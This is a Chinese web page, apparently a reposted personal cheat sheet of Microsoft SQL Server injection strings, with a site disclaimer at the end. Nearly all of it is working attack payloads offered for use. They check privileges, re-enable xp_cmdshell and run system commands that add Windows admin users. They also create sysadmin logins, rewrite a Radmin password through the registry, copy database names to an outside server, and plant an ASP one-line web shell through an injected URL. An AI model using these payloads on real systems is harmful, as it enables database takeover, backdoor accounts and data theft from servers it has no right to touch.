| 我記性不好，所以把常用的注入代碼記錄下來，有點亂，但對我來說，還算很有用，希望大家也會喜歡！ //看看是什么權(quán)限的 and 1=(Select IS_MEMBER('db_owner')) And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;-- //檢測是否有讀取某數(shù)據(jù)庫的權(quán)限 and 1= (Select HAS_DBACCESS('master')) And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 -- 數(shù)字類型 and char(124)%2Buser%2Bchar(124)=0 字符類型 ' and char(124)%2Buser%2Bchar(124)=0 and ''=' 搜索類型 ' and char(124)%2Buser%2Bchar(124)=0 and '%'=' 爆用戶名 and user>0 ' and user>0 and ''=' 檢測是否為SA權(quán)限 and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 -- 檢測是不是MSSQL數(shù)據(jù)庫 and exists (select * from sysobjects);-- 檢測是否支持多行 ;declare @d int;-- 恢復(fù) xp_cmdshell ;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';-- select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') //----------------------- // 執(zhí)行命令 //----------------------- 首先開啟沙盤模式： exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 然后利用jet.oledb執(zhí)行系統(tǒng)命令 select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")') 執(zhí)行命令 ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';-- EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111' 判斷xp_cmdshell擴(kuò)展存儲過程是否存在： http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') 寫注冊表 exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 REG_SZ 讀注冊表 exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit' 讀取目錄內(nèi)容 exec master..xp_dirtree 'c:\winnt\system32\',1,1 數(shù)據(jù)庫備份 backup database pubs to disk = 'c:\123.bak' //爆出長度 And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;-- 更改sa口令方法：用sql綜合利用工具連接后，執(zhí)行命令： exec sp_password NULL,'新密碼','sa' 添加和刪除一個SA權(quán)限的用戶test： exec master.dbo.sp_addlogin test,ptlove exec master.dbo.sp_addsrvrolemember test,sysadmin 刪除擴(kuò)展存儲過過程xp_cmdshell的語句: exec sp_dropextendedproc 'xp_cmdshell' 添加擴(kuò)展存儲過過程 EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' GRANT exec On xp_proxiedadata TO public 停掉或激活某個服務(wù)。 exec master..xp_servicecontrol 'stop','schedule' exec master..xp_servicecontrol 'start','schedule' dbo.xp_subdirs 只列某個目錄下的子目錄。 xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp' dbo.xp_makecab 將目標(biāo)多個檔案壓縮到某個目標(biāo)檔案之內(nèi)。 所有要壓縮的檔案都可以接在參數(shù)列的最后方，以逗號隔開。 dbo.xp_makecab 'c:\test.cab','mszip',1, 'C:\Inetpub\wwwroot\SQLInject\login.asp', 'C:\Inetpub\wwwroot\SQLInject\securelogin.asp' xp_terminate_process 停掉某個執(zhí)行中的程序，但賦予的參數(shù)是 Process ID。 利用”工作管理員”，透過選單「檢視」-「選擇字段」勾選 pid，就可以看到每個執(zhí)行程序的 Process ID xp_terminate_process 2484 xp_unpackcab 解開壓縮檔。 xp_unpackcab 'c:\test.cab','c:\temp',1 某機(jī)，安裝了radmin，密碼被修改了，regedit.exe不知道被刪除了還是被改名了，net.exe不存在，沒有辦法使用regedit /e 導(dǎo)入注冊文件，但是mssql是sa權(quán)限，使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密碼為12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 則端口值改為1234 create database lcx; Create TABLE ku(name nvarchar(256) null); Create TABLE biao(id int NULL,name nvarchar(256) null); //得到數(shù)據(jù)庫名 insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases //在Master中創(chuàng)建表，看看權(quán)限怎樣 Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);-- 用 sp_makewebtask直接在web目錄里寫入一句話馬： http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';-- //更新表內(nèi)容 Update films SET kind = 'Dramatic' Where id = 123 //刪除內(nèi)容 delete from table_name where Stockid = 3 |
免責(zé)聲明：本站部分文章和圖片均來自用戶投稿和網(wǎng)絡(luò)收集，旨在傳播知識，文章和圖片版權(quán)歸原作者及原出處所有，僅供學(xué)習(xí)與參考，請勿用于商業(yè)用途，如果損害了您的權(quán)利，請聯(lián)系我們及時修正或刪除。謝謝！
始終以前瞻性的眼光聚焦站長、創(chuàng)業(yè)、互聯(lián)網(wǎng)等領(lǐng)域，為您提供最新最全的互聯(lián)網(wǎng)資訊，幫助站長轉(zhuǎn)型升級，為互聯(lián)網(wǎng)創(chuàng)業(yè)者提供更加優(yōu)質(zhì)的創(chuàng)業(yè)信息和品牌營銷服務(wù)，與站長一起進(jìn)步！讓互聯(lián)網(wǎng)創(chuàng)業(yè)者不再孤獨！
掃一掃，關(guān)注站長網(wǎng)微信
大家都在看
